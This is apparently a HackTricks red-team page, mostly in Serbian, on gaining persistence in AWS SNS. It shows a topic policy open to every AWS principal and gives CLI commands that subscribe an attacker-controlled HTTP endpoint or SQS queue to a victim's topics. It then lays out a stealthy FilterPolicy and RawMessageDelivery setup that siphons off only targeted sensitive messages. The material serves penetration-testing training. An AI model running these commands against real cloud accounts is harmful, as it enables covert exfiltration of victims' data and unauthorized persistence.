AWS - SNS Persistence

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

SNS

For more information check:

AWS - SNS Enum

Persistence

Kada kreirate SNS topic, potrebno je putem IAM policy-ja naznačiti ko ima pristup za čitanje i pisanje. Moguće je navesti spoljne naloge, ARN uloga, ili čak “*”.
Sledeća policy daje svima u AWS pristup za čitanje i pisanje u SNS topic pod nazivom MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Kreirajte pretplatnike

Da bi nastavio exfiltrating svih poruka sa svih tema, attacker može kreirati pretplatnike za sve teme.

Imajte na umu da, ako je tema tipa FIFO, mogu se koristiti samo pretplatnici koji koriste protokol SQS.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Tajna, selektivna eksfiltracija preko FilterPolicy na MessageBody

Napadač koji ima sns:Subscribe i sns:SetSubscriptionAttributes na topic-u može kreirati prikrivenu SQS pretplatu koja prosleđuje samo poruke čije telo u JSON-u odgovara veoma uskom filteru (npr. {"secret":"true"}). Ovo smanjuje obim i detekciju, a ipak omogućava eksfiltraciju osetljivih zapisa.

Mogući uticaj: Tajna, niskobučna eksfiltracija samo ciljanih SNS poruka sa topica žrtve.

Koraci (AWS CLI):

  • Osigurajte da politika SQS reda napadača dozvoljava sqs:SendMessage sa žrtvinog TopicArn (Condition aws:SourceArn jednako TopicArn).
  • Kreirajte SQS pretplatu na topic:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
  • Podesite filter da radi na MessageBody i da se poklapa samo sa secret=true:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
  • Opcionalna prikrivenost: omogućite RawMessageDelivery tako da samo raw payload stigne u prijemnik:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
  • Verifikacija: objavite dve poruke i potvrdite da je samo prva isporučena u red napadača. Primer payload-a:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
  • Čišćenje: otkažite pretplatu i obrišite SQS red napadača ako je kreiran za testiranje persistencije.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks